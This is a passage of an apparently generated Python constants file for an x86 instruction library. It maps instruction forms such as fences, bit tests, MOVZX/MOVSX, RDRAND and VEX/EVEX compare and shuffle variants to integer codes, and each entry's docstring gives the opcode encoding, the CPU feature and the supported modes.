``XSAVEOPT``
``64-bit``
"""
CLWB_M8: int = 2034
"""
``CLWB m8``
``66 0F AE /6``
``CLWB``
``16/32/64-bit``
"""
TPAUSE_R32: int = 2035
"""
``TPAUSE r32, <edx>, <eax>``
``66 0F AE /6``
``WAITPKG``
``16/32/64-bit``
"""
TPAUSE_R64: int = 2036
"""
``TPAUSE r64, <edx>, <eax>``
``66 o64 0F AE /6``
``WAITPKG``
``64-bit``
"""
CLRSSBSY_M64: int = 2037
"""
``CLRSSBSY m64``
``F3 0F AE /6``
``CET_SS``
``16/32/64-bit``
"""
UMONITOR_R16: int = 2038
"""
``UMONITOR r16``
``a16 F3 0F AE /6``
``WAITPKG``
``16/32-bit``
"""
UMONITOR_R32: int = 2039
"""
``UMONITOR r32``
``a32 F3 0F AE /6``
``WAITPKG``
``16/32/64-bit``
"""
UMONITOR_R64: int = 2040
"""
``UMONITOR r64``
``a64 F3 0F AE /6``
``WAITPKG``
``64-bit``
"""
UMWAIT_R32: int = 2041
"""
``UMWAIT r32, <edx>, <eax>``
``F2 0F AE /6``
``WAITPKG``
``16/32/64-bit``
"""
UMWAIT_R64: int = 2042
"""
``UMWAIT r64, <edx>, <eax>``
``F2 o64 0F AE /6``
``WAITPKG``
``64-bit``
"""
CLFLUSH_M8: int = 2043
"""
``CLFLUSH m8``
``NP 0F AE /7``
``CLFSH``
``16/32/64-bit``
"""
CLFLUSHOPT_M8: int = 2044
"""
``CLFLUSHOPT m8``
``66 0F AE /7``
``CLFLUSHOPT``
``16/32/64-bit``
"""
LFENCE: int = 2045
"""
``LFENCE``
``NP 0F AE E8``
``SSE2``
``16/32/64-bit``
"""
LFENCE_E9: int = 2046
"""
``LFENCE``
``NP 0F AE E9``
``SSE2``
``16/32/64-bit``
"""
LFENCE_EA: int = 2047
"""
``LFENCE``
``NP 0F AE EA``
``SSE2``
``16/32/64-bit``
"""
LFENCE_EB: int = 2048
"""
``LFENCE``
``NP 0F AE EB``
``SSE2``
``16/32/64-bit``
"""
LFENCE_EC: int = 2049
"""
``LFENCE``
``NP 0F AE EC``
``SSE2``
``16/32/64-bit``
"""
LFENCE_ED: int = 2050
"""
``LFENCE``
``NP 0F AE ED``
``SSE2``
``16/32/64-bit``
"""
LFENCE_EE: int = 2051
"""
``LFENCE``
``NP 0F AE EE``
``SSE2``
``16/32/64-bit``
"""
LFENCE_EF: int = 2052
"""
``LFENCE``
``NP 0F AE EF``
``SSE2``
``16/32/64-bit``
"""
MFENCE: int = 2053
"""
``MFENCE``
``NP 0F AE F0``
``SSE2``
``16/32/64-bit``
"""
MFENCE_F1: int = 2054
"""
``MFENCE``
``NP 0F AE F1``
``SSE2``
``16/32/64-bit``
"""
MFENCE_F2: int = 2055
"""
``MFENCE``
``NP 0F AE F2``
``SSE2``
``16/32/64-bit``
"""
MFENCE_F3: int = 2056
"""
``MFENCE``
``NP 0F AE F3``
``SSE2``
``16/32/64-bit``
"""
MFENCE_F4: int = 2057
"""
``MFENCE``
``NP 0F AE F4``
``SSE2``
``16/32/64-bit``
"""
MFENCE_F5: int = 2058
"""
``MFENCE``
``NP 0F AE F5``
``SSE2``
``16/32/64-bit``
"""
MFENCE_F6: int = 2059
"""
``MFENCE``
``NP 0F AE F6``
``SSE2``
``16/32/64-bit``
"""
MFENCE_F7: int = 2060
"""
``MFENCE``
``NP 0F AE F7``
``SSE2``
``16/32/64-bit``
"""
SFENCE: int = 2061
"""
``SFENCE``
``NP 0F AE F8``
``SSE``
``16/32/64-bit``
"""
SFENCE_F9: int = 2062
"""
``SFENCE``
``NP 0F AE F9``
``SSE``
``16/32/64-bit``
"""
SFENCE_FA: int = 2063
"""
``SFENCE``
``NP 0F AE FA``
``SSE``
``16/32/64-bit``
"""
SFENCE_FB: int = 2064
"""
``SFENCE``
``NP 0F AE FB``
``SSE``
``16/32/64-bit``
"""
SFENCE_FC: int = 2065
"""
``SFENCE``
``NP 0F AE FC``
``SSE``
``16/32/64-bit``
"""
SFENCE_FD: int = 2066
"""
``SFENCE``
``NP 0F AE FD``
``SSE``
``16/32/64-bit``
"""
SFENCE_FE: int = 2067
"""
``SFENCE``
``NP 0F AE FE``
``SSE``
``16/32/64-bit``
"""
SFENCE_FF: int = 2068
"""
``SFENCE``
``NP 0F AE FF``
``SSE``
``16/32/64-bit``
"""
PCOMMIT: int = 2069
"""
``PCOMMIT``
``66 0F AE F8``
``PCOMMIT``
``16/32/64-bit``
"""
IMUL_R16_RM16: int = 2070
"""
``IMUL r16, r/m16``
``o16 0F AF /r``
``386+``
``16/32/64-bit``
"""
IMUL_R32_RM32: int = 2071
"""
``IMUL r32, r/m32``
``o32 0F AF /r``
``386+``
``16/32/64-bit``
"""
IMUL_R64_RM64: int = 2072
"""
``IMUL r64, r/m64``
``o64 0F AF /r``
``X64``
``64-bit``
"""
CMPXCHG_RM8_R8: int = 2073
"""
``CMPXCHG r/m8, r8``
``0F B0 /r``
``486+``
``16/32/64-bit``
"""
CMPXCHG_RM16_R16: int = 2074
"""
``CMPXCHG r/m16, r16``
``o16 0F B1 /r``
``486+``
``16/32/64-bit``
"""
CMPXCHG_RM32_R32: int = 2075
"""
``CMPXCHG r/m32, r32``
``o32 0F B1 /r``
``486+``
``16/32/64-bit``
"""
CMPXCHG_RM64_R64: int = 2076
"""
``CMPXCHG r/m64, r64``
``o64 0F B1 /r``
``X64``
``64-bit``
"""
LSS_R16_M1616: int = 2077
"""
``LSS r16, m16:16``
``o16 0F B2 /r``
``386+``
``16/32/64-bit``
"""
LSS_R32_M1632: int = 2078
"""
``LSS r32, m16:32``
``o32 0F B2 /r``
``386+``
``16/32/64-bit``
"""
LSS_R64_M1664: int = 2079
"""
``LSS r64, m16:64``
``o64 0F B2 /r``
``X64``
``64-bit``
"""
BTR_RM16_R16: int = 2080
"""
``BTR r/m16, r16``
``o16 0F B3 /r``
``386+``
``16/32/64-bit``
"""
BTR_RM32_R32: int = 2081
"""
``BTR r/m32, r32``
``o32 0F B3 /r``
``386+``
``16/32/64-bit``
"""
BTR_RM64_R64: int = 2082
"""
``BTR r/m64, r64``
``o64 0F B3 /r``
``X64``
``64-bit``
"""
LFS_R16_M1616: int = 2083
"""
``LFS r16, m16:16``
``o16 0F B4 /r``
``386+``
``16/32/64-bit``
"""
LFS_R32_M1632: int = 2084
"""
``LFS r32, m16:32``
``o32 0F B4 /r``
``386+``
``16/32/64-bit``
"""
LFS_R64_M1664: int = 2085
"""
``LFS r64, m16:64``
``o64 0F B4 /r``
``X64``
``64-bit``
"""
LGS_R16_M1616: int = 2086
"""
``LGS r16, m16:16``
``o16 0F B5 /r``
``386+``
``16/32/64-bit``
"""
LGS_R32_M1632: int = 2087
"""
``LGS r32, m16:32``
``o32 0F B5 /r``
``386+``
``16/32/64-bit``
"""
LGS_R64_M1664: int = 2088
"""
``LGS r64, m16:64``
``o64 0F B5 /r``
``X64``
``64-bit``
"""
MOVZX_R16_RM8: int = 2089
"""
``MOVZX r16, r/m8``
``o16 0F B6 /r``
``386+``
``16/32/64-bit``
"""
MOVZX_R32_RM8: int = 2090
"""
``MOVZX r32, r/m8``
``o32 0F B6 /r``
``386+``
``16/32/64-bit``
"""
MOVZX_R64_RM8: int = 2091
"""
``MOVZX r64, r/m8``
``o64 0F B6 /r``
``X64``
``64-bit``
"""
MOVZX_R16_RM16: int = 2092
"""
``MOVZX r16, r/m16``
``o16 0F B7 /r``
``386+``
``16/32/64-bit``
"""
MOVZX_R32_RM16: int = 2093
"""
``MOVZX r32, r/m16``
``o32 0F B7 /r``
``386+``
``16/32/64-bit``
"""
MOVZX_R64_RM16: int = 2094
"""
``MOVZX r64, r/m16``
``o64 0F B7 /r``
``X64``
``64-bit``
"""
JMPE_DISP16: int = 2095
"""
``JMPE disp16``
``o16 0F B8 cw``
``IA-64``
``16/32-bit``
"""
JMPE_DISP32: int = 2096
"""
``JMPE disp32``
``o32 0F B8 cd``
``IA-64``
``16/32-bit``
"""
POPCNT_R16_RM16: int = 2097
"""
``POPCNT r16, r/m16``
``o16 F3 0F B8 /r``
``POPCNT``
``16/32/64-bit``
"""
POPCNT_R32_RM32: int = 2098
"""
``POPCNT r32, r/m32``
``o32 F3 0F B8 /r``
``POPCNT``
``16/32/64-bit``
"""
POPCNT_R64_RM64: int = 2099
"""
``POPCNT r64, r/m64``
``F3 o64 0F B8 /r``
``POPCNT``
``64-bit``
"""
UD1_R16_RM16: int = 2100
"""
``UD1 r16, r/m16``
``o16 0F B9 /r``
``286+``
``16/32/64-bit``
"""
UD1_R32_RM32: int = 2101
"""
``UD1 r32, r/m32``
``o32 0F B9 /r``
``386+``
``16/32/64-bit``
"""
UD1_R64_RM64: int = 2102
"""
``UD1 r64, r/m64``
``o64 0F B9 /r``
``X64``
``64-bit``
"""
BT_RM16_IMM8: int = 2103
"""
``BT r/m16, imm8``
``o16 0F BA /4 ib``
``386+``
``16/32/64-bit``
"""
BT_RM32_IMM8: int = 2104
"""
``BT r/m32, imm8``
``o32 0F BA /4 ib``
``386+``
``16/32/64-bit``
"""
BT_RM64_IMM8: int = 2105
"""
``BT r/m64, imm8``
``o64 0F BA /4 ib``
``X64``
``64-bit``
"""
BTS_RM16_IMM8: int = 2106
"""
``BTS r/m16, imm8``
``o16 0F BA /5 ib``
``386+``
``16/32/64-bit``
"""
BTS_RM32_IMM8: int = 2107
"""
``BTS r/m32, imm8``
``o32 0F BA /5 ib``
``386+``
``16/32/64-bit``
"""
BTS_RM64_IMM8: int = 2108
"""
``BTS r/m64, imm8``
``o64 0F BA /5 ib``
``X64``
``64-bit``
"""
BTR_RM16_IMM8: int = 2109
"""
``BTR r/m16, imm8``
``o16 0F BA /6 ib``
``386+``
``16/32/64-bit``
"""
BTR_RM32_IMM8: int = 2110
"""
``BTR r/m32, imm8``
``o32 0F BA /6 ib``
``386+``
``16/32/64-bit``
"""
BTR_RM64_IMM8: int = 2111
"""
``BTR r/m64, imm8``
``o64 0F BA /6 ib``
``X64``
``64-bit``
"""
BTC_RM16_IMM8: int = 2112
"""
``BTC r/m16, imm8``
``o16 0F BA /7 ib``
``386+``
``16/32/64-bit``
"""
BTC_RM32_IMM8: int = 2113
"""
``BTC r/m32, imm8``
``o32 0F BA /7 ib``
``386+``
``16/32/64-bit``
"""
BTC_RM64_IMM8: int = 2114
"""
``BTC r/m64, imm8``
``o64 0F BA /7 ib``
``X64``
``64-bit``
"""
BTC_RM16_R16: int = 2115
"""
``BTC r/m16, r16``
``o16 0F BB /r``
``386+``
``16/32/64-bit``
"""
BTC_RM32_R32: int = 2116
"""
``BTC r/m32, r32``
``o32 0F BB /r``
``386+``
``16/32/64-bit``
"""
BTC_RM64_R64: int = 2117
"""
``BTC r/m64, r64``
``o64 0F BB /r``
``X64``
``64-bit``
"""
BSF_R16_RM16: int = 2118
"""
``BSF r16, r/m16``
``o16 0F BC /r``
``386+``
``16/32/64-bit``
"""
BSF_R32_RM32: int = 2119
"""
``BSF r32, r/m32``
``o32 0F BC /r``
``386+``
``16/32/64-bit``
"""
BSF_R64_RM64: int = 2120
"""
``BSF r64, r/m64``
``o64 0F BC /r``
``X64``
``64-bit``
"""
TZCNT_R16_RM16: int = 2121
"""
``TZCNT r16, r/m16``
``o16 F3 0F BC /r``
``BMI1``
``16/32/64-bit``
"""
TZCNT_R32_RM32: int = 2122
"""
``TZCNT r32, r/m32``
``o32 F3 0F BC /r``
``BMI1``
``16/32/64-bit``
"""
TZCNT_R64_RM64: int = 2123
"""
``TZCNT r64, r/m64``
``F3 o64 0F BC /r``
``BMI1``
``64-bit``
"""
BSR_R16_RM16: int = 2124
"""
``BSR r16, r/m16``
``o16 0F BD /r``
``386+``
``16/32/64-bit``
"""
BSR_R32_RM32: int = 2125
"""
``BSR r32, r/m32``
``o32 0F BD /r``
``386+``
``16/32/64-bit``
"""
BSR_R64_RM64: int = 2126
"""
``BSR r64, r/m64``
``o64 0F BD /r``
``X64``
``64-bit``
"""
LZCNT_R16_RM16: int = 2127
"""
``LZCNT r16, r/m16``
``o16 F3 0F BD /r``
``LZCNT``
``16/32/64-bit``
"""
LZCNT_R32_RM32: int = 2128
"""
``LZCNT r32, r/m32``
``o32 F3 0F BD /r``
``LZCNT``
``16/32/64-bit``
"""
LZCNT_R64_RM64: int = 2129
"""
``LZCNT r64, r/m64``
``F3 o64 0F BD /r``
``LZCNT``
``64-bit``
"""
MOVSX_R16_RM8: int = 2130
"""
``MOVSX r16, r/m8``
``o16 0F BE /r``
``386+``
``16/32/64-bit``
"""
MOVSX_R32_RM8: int = 2131
"""
``MOVSX r32, r/m8``
``o32 0F BE /r``
``386+``
``16/32/64-bit``
"""
MOVSX_R64_RM8: int = 2132
"""
``MOVSX r64, r/m8``
``o64 0F BE /r``
``X64``
``64-bit``
"""
MOVSX_R16_RM16: int = 2133
"""
``MOVSX r16, r/m16``
``o16 0F BF /r``
``386+``
``16/32/64-bit``
"""
MOVSX_R32_RM16: int = 2134
"""
``MOVSX r32, r/m16``
``o32 0F BF /r``
``386+``
``16/32/64-bit``
"""
MOVSX_R64_RM16: int = 2135
"""
``MOVSX r64, r/m16``
``o64 0F BF /r``
``X64``
``64-bit``
"""
XADD_RM8_R8: int = 2136
"""
``XADD r/m8, r8``
``0F C0 /r``
``486+``
``16/32/64-bit``
"""
XADD_RM16_R16: int = 2137
"""
``XADD r/m16, r16``
``o16 0F C1 /r``
``486+``
``16/32/64-bit``
"""
XADD_RM32_R32: int = 2138
"""
``XADD r/m32, r32``
``o32 0F C1 /r``
``486+``
``16/32/64-bit``
"""
XADD_RM64_R64: int = 2139
"""
``XADD r/m64, r64``
``o64 0F C1 /r``
``X64``
``64-bit``
"""
CMPPS_XMM_XMMM128_IMM8: int = 2140
"""
``CMPPS xmm1, xmm2/m128, imm8``
``NP 0F C2 /r ib``
``SSE``
``16/32/64-bit``
"""
VEX_VCMPPS_XMM_XMM_XMMM128_IMM8: int = 2141
"""
``VCMPPS xmm1, xmm2, xmm3/m128, imm8``
``VEX.128.0F.WIG C2 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VCMPPS_YMM_YMM_YMMM256_IMM8: int = 2142
"""
``VCMPPS ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.0F.WIG C2 /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VCMPPS_KR_K1_XMM_XMMM128B32_IMM8: int = 2143
"""
``VCMPPS k1 {k2}, xmm2, xmm3/m128/m32bcst, imm8``
``EVEX.128.0F.W0 C2 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCMPPS_KR_K1_YMM_YMMM256B32_IMM8: int = 2144
"""
``VCMPPS k1 {k2}, ymm2, ymm3/m256/m32bcst, imm8``
``EVEX.256.0F.W0 C2 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCMPPS_KR_K1_ZMM_ZMMM512B32_IMM8_SAE: int = 2145
"""
``VCMPPS k1 {k2}, zmm2, zmm3/m512/m32bcst{sae}, imm8``
``EVEX.512.0F.W0 C2 /r ib``
``AVX512F``
``16/32/64-bit``
"""
CMPPD_XMM_XMMM128_IMM8: int = 2146
"""
``CMPPD xmm1, xmm2/m128, imm8``
``66 0F C2 /r ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VCMPPD_XMM_XMM_XMMM128_IMM8: int = 2147
"""
``VCMPPD xmm1, xmm2, xmm3/m128, imm8``
``VEX.128.66.0F.WIG C2 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VCMPPD_YMM_YMM_YMMM256_IMM8: int = 2148
"""
``VCMPPD ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.66.0F.WIG C2 /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VCMPPD_KR_K1_XMM_XMMM128B64_IMM8: int = 2149
"""
``VCMPPD k1 {k2}, xmm2, xmm3/m128/m64bcst, imm8``
``EVEX.128.66.0F.W1 C2 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCMPPD_KR_K1_YMM_YMMM256B64_IMM8: int = 2150
"""
``VCMPPD k1 {k2}, ymm2, ymm3/m256/m64bcst, imm8``
``EVEX.256.66.0F.W1 C2 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCMPPD_KR_K1_ZMM_ZMMM512B64_IMM8_SAE: int = 2151
"""
``VCMPPD k1 {k2}, zmm2, zmm3/m512/m64bcst{sae}, imm8``
``EVEX.512.66.0F.W1 C2 /r ib``
``AVX512F``
``16/32/64-bit``
"""
CMPSS_XMM_XMMM32_IMM8: int = 2152
"""
``CMPSS xmm1, xmm2/m32, imm8``
``F3 0F C2 /r ib``
``SSE``
``16/32/64-bit``
"""
VEX_VCMPSS_XMM_XMM_XMMM32_IMM8: int = 2153
"""
``VCMPSS xmm1, xmm2, xmm3/m32, imm8``
``VEX.LIG.F3.0F.WIG C2 /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VCMPSS_KR_K1_XMM_XMMM32_IMM8_SAE: int = 2154
"""
``VCMPSS k1 {k2}, xmm2, xmm3/m32{sae}, imm8``
``EVEX.LIG.F3.0F.W0 C2 /r ib``
``AVX512F``
``16/32/64-bit``
"""
CMPSD_XMM_XMMM64_IMM8: int = 2155
"""
``CMPSD xmm1, xmm2/m64, imm8``
``F2 0F C2 /r ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VCMPSD_XMM_XMM_XMMM64_IMM8: int = 2156
"""
``VCMPSD xmm1, xmm2, xmm3/m64, imm8``
``VEX.LIG.F2.0F.WIG C2 /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VCMPSD_KR_K1_XMM_XMMM64_IMM8_SAE: int = 2157
"""
``VCMPSD k1 {k2}, xmm2, xmm3/m64{sae}, imm8``
``EVEX.LIG.F2.0F.W1 C2 /r ib``
``AVX512F``
``16/32/64-bit``
"""
MOVNTI_M32_R32: int = 2158
"""
``MOVNTI m32, r32``
``NP 0F C3 /r``
``SSE2``
``16/32/64-bit``
"""
MOVNTI_M64_R64: int = 2159
"""
``MOVNTI m64, r64``
``NP o64 0F C3 /r``
``SSE2``
``64-bit``
"""
PINSRW_MM_R32M16_IMM8: int = 2160
"""
``PINSRW mm, r32/m16, imm8``
``NP 0F C4 /r ib``
``SSE``
``16/32/64-bit``
"""
PINSRW_MM_R64M16_IMM8: int = 2161
"""
``PINSRW mm, r64/m16, imm8``
``NP o64 0F C4 /r ib``
``SSE``
``64-bit``
"""
PINSRW_XMM_R32M16_IMM8: int = 2162
"""
``PINSRW xmm, r32/m16, imm8``
``66 0F C4 /r ib``
``SSE2``
``16/32/64-bit``
"""
PINSRW_XMM_R64M16_IMM8: int = 2163
"""
``PINSRW xmm, r64/m16, imm8``
``66 o64 0F C4 /r ib``
``SSE2``
``64-bit``
"""
VEX_VPINSRW_XMM_XMM_R32M16_IMM8: int = 2164
"""
``VPINSRW xmm1, xmm2, r32/m16, imm8``
``VEX.128.66.0F.W0 C4 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPINSRW_XMM_XMM_R64M16_IMM8: int = 2165
"""
``VPINSRW xmm1, xmm2, r64/m16, imm8``
``VEX.128.66.0F.W1 C4 /r ib``
``AVX``
``64-bit``
"""
EVEX_VPINSRW_XMM_XMM_R32M16_IMM8: int = 2166
"""
``VPINSRW xmm1, xmm2, r32/m16, imm8``
``EVEX.128.66.0F.W0 C4 /r ib``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPINSRW_XMM_XMM_R64M16_IMM8: int = 2167
"""
``VPINSRW xmm1, xmm2, r64/m16, imm8``
``EVEX.128.66.0F.W1 C4 /r ib``
``AVX512BW``
``64-bit``
"""
PEXTRW_R32_MM_IMM8: int = 2168
"""
``PEXTRW r32, mm, imm8``
``NP 0F C5 /r ib``
``SSE``
``16/32/64-bit``
"""
PEXTRW_R64_MM_IMM8: int = 2169
"""
``PEXTRW r64, mm, imm8``
``NP o64 0F C5 /r ib``
``SSE``
``64-bit``
"""
PEXTRW_R32_XMM_IMM8: int = 2170
"""
``PEXTRW r32, xmm, imm8``
``66 0F C5 /r ib``
``SSE2``
``16/32/64-bit``
"""
PEXTRW_R64_XMM_IMM8: int = 2171
"""
``PEXTRW r64, xmm, imm8``
``66 o64 0F C5 /r ib``
``SSE2``
``64-bit``
"""
VEX_VPEXTRW_R32_XMM_IMM8: int = 2172
"""
``VPEXTRW r32, xmm1, imm8``
``VEX.128.66.0F.W0 C5 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPEXTRW_R64_XMM_IMM8: int = 2173
"""
``VPEXTRW r64, xmm1, imm8``
``VEX.128.66.0F.W1 C5 /r ib``
``AVX``
``64-bit``
"""
EVEX_VPEXTRW_R32_XMM_IMM8: int = 2174
"""
``VPEXTRW r32, xmm1, imm8``
``EVEX.128.66.0F.W0 C5 /r ib``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPEXTRW_R64_XMM_IMM8: int = 2175
"""
``VPEXTRW r64, xmm1, imm8``
``EVEX.128.66.0F.W1 C5 /r ib``
``AVX512BW``
``64-bit``
"""
SHUFPS_XMM_XMMM128_IMM8: int = 2176
"""
``SHUFPS xmm1, xmm2/m128, imm8``
``NP 0F C6 /r ib``
``SSE``
``16/32/64-bit``
"""
VEX_VSHUFPS_XMM_XMM_XMMM128_IMM8: int = 2177
"""
``VSHUFPS xmm1, xmm2, xmm3/m128, imm8``
``VEX.128.0F.WIG C6 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VSHUFPS_YMM_YMM_YMMM256_IMM8: int = 2178
"""
``VSHUFPS ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.0F.WIG C6 /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VSHUFPS_XMM_K1Z_XMM_XMMM128B32_IMM8: int = 2179
"""
``VSHUFPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst, imm8``
``EVEX.128.0F.W0 C6 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSHUFPS_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 2180
"""
``VSHUFPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst, imm8``
``EVEX.256.0F.W0 C6 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSHUFPS_ZMM_K1Z_ZMM_ZMMM512B32_IMM8: int = 2181
"""
``VSHUFPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst, imm8``
``EVEX.512.0F.W0 C6 /r ib``
``AVX512F``
``16/32/64-bit``
"""
SHUFPD_XMM_XMMM128_IMM8: int = 2182
"""
``SHUFPD xmm1, xmm2/m128, imm8``
``66 0F C6 /r ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VSHUFPD_XMM_XMM_XMMM128_IMM8: int = 2183
"""
``VSHUFPD xmm1, xmm2, xmm3/m128, imm8``
``VEX.128.66.0F.WIG C6 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VSHUFPD_YMM_YMM_YMMM256_IMM8: int = 2184
"""
``VSHUFPD ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.66.0F.WIG C6 /r ib``
``AVX``
``16/32/64-bit``
"""
EVEX_VSHUFPD_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 2185
"""
``VSHUFPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst, imm8``
``EVEX.128.66.0F.W1 C6 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSHUFPD_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 2186
"""
``VSHUFPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst, imm8``
``EVEX.256.66.0F.W1 C6 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSHUFPD_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 2187
"""
``VSHUFPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst, imm8``
``EVEX.512.66.0F.W1 C6 /r ib``
``AVX512F``
``16/32/64-bit``
"""
CMPXCHG8B_M64: int = 2188
"""
``CMPXCHG8B m64``
``0F C7 /1``
``CX8``
``16/32/64-bit``
"""
CMPXCHG16B_M128: int = 2189
"""
``CMPXCHG16B m128``
``o64 0F C7 /1``
``CMPXCHG16B``
``64-bit``
"""
XRSTORS_MEM: int = 2190
"""
``XRSTORS mem``
``NP 0F C7 /3``
``XSAVES``
``16/32/64-bit``
"""
XRSTORS64_MEM: int = 2191
"""
``XRSTORS64 mem``
``NP o64 0F C7 /3``
``XSAVES``
``64-bit``
"""
XSAVEC_MEM: int = 2192
"""
``XSAVEC mem``
``NP 0F C7 /4``
``XSAVEC``
``16/32/64-bit``
"""
XSAVEC64_MEM: int = 2193
"""
``XSAVEC64 mem``
``NP o64 0F C7 /4``
``XSAVEC``
``64-bit``
"""
XSAVES_MEM: int = 2194
"""
``XSAVES mem``
``NP 0F C7 /5``
``XSAVES``
``16/32/64-bit``
"""
XSAVES64_MEM: int = 2195
"""
``XSAVES64 mem``
``NP o64 0F C7 /5``
``XSAVES``
``64-bit``
"""
VMPTRLD_M64: int = 2196
"""
``VMPTRLD m64``
``NP 0F C7 /6``
``VMX``
``16/32/64-bit``
"""
VMCLEAR_M64: int = 2197
"""
``VMCLEAR m64``
``66 0F C7 /6``
``VMX``
``16/32/64-bit``
"""
VMXON_M64: int = 2198
"""
``VMXON m64``
``F3 0F C7 /6``
``VMX``
``16/32/64-bit``
"""
RDRAND_R16: int = 2199
"""
``RDRAND r16``
``o16 0F C7 /6``
``RDRAND``
``16/32/64-bit``
"""
RDRAND_R32: int = 2200
"""
``RDRAND r32``
``o32 0F C7 /6``
``RDRAND``
``16/32/64-bit``
"""
RDRAND_R64: int = 2201
"""
``RDRAND r64``
``o64 0F C7 /6``
``RDRAND``
``64-bit``
"""
VMPTRST_M64: int = 2202
"""
``VMPTRST m64``
``NP 0F C7 /7``
``VMX``
``16/32/64-bit``
"""
RDSEED_R16: int = 2203
"""
``RDSEED r16``
``o16 0F C7 /7``
``RDSEED``
``16/32/64-bit``
"""
RDSEED_R32: int = 2204
"""
``RDSEED r32``
``o32 0F C7 /7``
``RDSEED``
``16/32/64-bit``
"""
RDSEED_R64: int = 2205
"""
``RDSEED r64``
``o64 0F C7 /7``
``RDSEED``
``64-bit``
"""
RDPID_R32: int = 2206
"""
``RDPID r32``
``F3 0F C7 /7``
``RDPID``
``16/32-bit``
"""
RDPID_R64: int = 2207
"""
``RDPID r64``
``F3 0F C7 /7``
``RDPID``
``64-bit``
"""
BSWAP_R16: int = 2208
"""
``BSWAP r16``
``o16 0F C8+rw``
``486+``
``16/32/64-bit``
"""
BSWAP_R32: int = 2209
"""
``BSWAP r32``
``o32 0F C8+rd``
``486+``
``16/32/64-bit``
"""
BSWAP_R64: int = 2210
"""
``BSWAP r64``
``o64 0F C8+ro``
``X64``
``64-bit``
"""
ADDSUBPD_XMM_XMMM128: int = 2211
"""
``ADDSUBPD xmm1, xmm2/m128``
``66 0F D0 /r``
``SSE3``
``16/32/64-bit``
"""
VEX_VADDSUBPD_XMM_XMM_XMMM128: int = 2212
"""
``VADDSUBPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG D0 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VADDSUBPD_YMM_YMM_YMMM256: int = 2213
"""
``VADDSUBPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG D0 /r``
``AVX``
``16/32/64-bit``
"""
ADDSUBPS_XMM_XMMM128: int = 2214
"""
``ADDSUBPS xmm1, xmm2/m128``
``F2 0F D0 /r``
``SSE3``
``16/32/64-bit``
"""
VEX_VADDSUBPS_XMM_XMM_XMMM128: int = 2215
"""
``VADDSUBPS xmm1, xmm2, xmm3/m128``
``VEX.128.F2.0F.WIG D0 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VADDSUBPS_YMM_YMM_YMMM256: int = 2216
"""
``VADDSUBPS ymm1, ymm2, ymm3/m256``
``VEX.256.F2.0F.WIG D0 /r``
``AVX``
``16/32/64-bit``
"""
PSRLW_MM_MMM64: int = 2217
"""
``PSRLW mm, mm/m64``
``NP 0F D1 /r``
``MMX``
``16/32/64-bit``
"""
PSRLW_XMM_XMMM128: int = 2218
"""
``PSRLW xmm1, xmm2/m128``
``66 0F D1 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSRLW_XMM_XMM_XMMM128: int = 2219
"""
``VPSRLW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG D1 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSRLW_YMM_YMM_XMMM128: int = 2220
"""
``VPSRLW ymm1, ymm2, xmm3/m128``
``VEX.256.66.0F.WIG D1 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSRLW_XMM_K1Z_XMM_XMMM128: int = 2221
"""
``VPSRLW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG D1 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSRLW_YMM_K1Z_YMM_XMMM128: int = 2222
"""
``VPSRLW ymm1 {k1}{z}, ymm2, xmm3/m128``
``EVEX.256.66.0F.WIG D1 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSRLW_ZMM_K1Z_ZMM_XMMM128: int = 2223
"""
``VPSRLW zmm1 {k1}{z}, zmm2, xmm3/m128``
``EVEX.512.66.0F.WIG D1 /r``
``AVX512BW``
``16/32/64-bit``
"""
PSRLD_MM_MMM64: int = 2224
"""
``PSRLD mm, mm/m64``
``NP 0F D2 /r``
``MMX``
``16/32/64-bit``
"""
